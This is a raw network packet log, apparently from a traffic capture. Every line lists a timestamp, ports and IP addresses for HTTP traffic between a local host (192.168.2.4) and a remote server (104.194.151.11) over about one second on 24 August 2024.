Aug 24, 2024 11:51:58.608526945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608529091 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608540058 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608544111 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608550072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608557940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608568907 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608570099 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608577967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608583927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608589888 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608598948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608599901 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608618975 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608635902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608639002 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608660936 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608666897 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608675957 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608696938 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608753920 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608762980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608788967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608804941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608818054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608851910 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.608910084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608921051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.608942032 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609260082 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609302044 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609364986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609406948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609519958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609529972 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609560013 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609566927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609574080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609608889 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609653950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609663963 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609673023 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609684944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609689951 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609719038 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609736919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609738111 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609746933 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609756947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609771967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609781027 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609781981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609791040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609802008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609808922 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609814882 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609838009 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609857082 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609867096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609875917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609886885 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609889030 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609898090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609901905 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609909058 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609914064 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609935999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609956980 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.609985113 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.609993935 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610002995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610016108 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610018015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610024929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610028982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610038042 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610044956 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610049009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610055923 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610061884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610073090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610080957 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610084057 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610090971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610095024 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610100985 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610110998 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610115051 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610124111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610129118 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610135078 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610157967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610165119 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610276937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610286951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610295057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610304117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610310078 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610315084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610321999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610326052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610335112 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610343933 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610352039 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610359907 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610362053 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610368967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610375881 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610378981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610389948 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610399008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610399961 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610414028 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610423088 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610424042 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610434055 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610435963 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610445023 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610454082 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610455036 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610465050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610475063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610476017 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610485077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610492945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610513926 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610534906 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610548973 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610563040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610572100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610580921 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.610584021 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610600948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.610620975 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.698662996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.698816061 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.698911905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.698926926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.698935986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.698945999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.698956966 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.698964119 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.698966980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.698976994 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.698990107 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.698991060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699002028 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699011087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699013948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699023008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699032068 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699033022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699044943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699054956 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699059963 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699069977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699078083 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699084997 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699089050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699090958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699100018 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699110031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699112892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699119091 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699129105 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699134111 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699139118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699147940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699155092 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699162960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699172974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699174881 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699182034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699187040 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699193954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699203968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699204922 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699225903 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699248075 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699251890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699266911 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699275970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699290991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699294090 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699301004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699309111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699315071 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699318886 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699337006 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699357986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699409008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699419022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699428082 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699454069 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699462891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699486017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699496031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699506998 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699517965 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699537039 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699556112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699600935 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699611902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699621916 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699634075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699645042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699646950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699657917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699661970 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699668884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699680090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699687958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699691057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699709892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699723959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699723959 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699734926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699744940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699757099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699765921 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699767113 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699778080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699790001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699789047 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699801922 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699830055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699870110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699882030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699891090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699901104 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699913025 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699914932 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699923992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699934006 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699935913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699945927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699948072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.699971914 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.699995041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700020075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700031996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700042009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700053930 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700057983 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700064898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700076103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700087070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700088024 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700097084 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700098991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700115919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700124979 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700125933 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700134993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700146914 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700155973 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700156927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700172901 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700175047 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700182915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700186014 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700195074 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700206041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700206041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700217962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700227976 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700254917 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700270891 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700282097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700292110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700304031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700313091 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700315952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700326920 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700331926 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700352907 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700371981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700377941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700382948 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700392008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700402975 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700412035 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700424910 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700439930 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700443029 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700455904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700463057 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700465918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700486898 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700493097 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700499058 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700509071 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700510025 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700519085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700530052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700534105 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700540066 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700548887 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700553894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.700570107 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.700584888 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.740415096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.740423918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.740432978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.740442991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.740453959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.740463972 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.740468979 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.740503073 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.740503073 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.740556955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.740566015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.740600109 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.789099932 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789119959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789129972 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789150953 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.789170027 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.789261103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789272070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789279938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789289951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789299965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.789304972 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789309978 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.789314985 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789324045 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789334059 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789338112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.789344072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789350033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:58.789355040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:58.789365053 CEST	80	49730	104.194.151.11	192.168.2.4
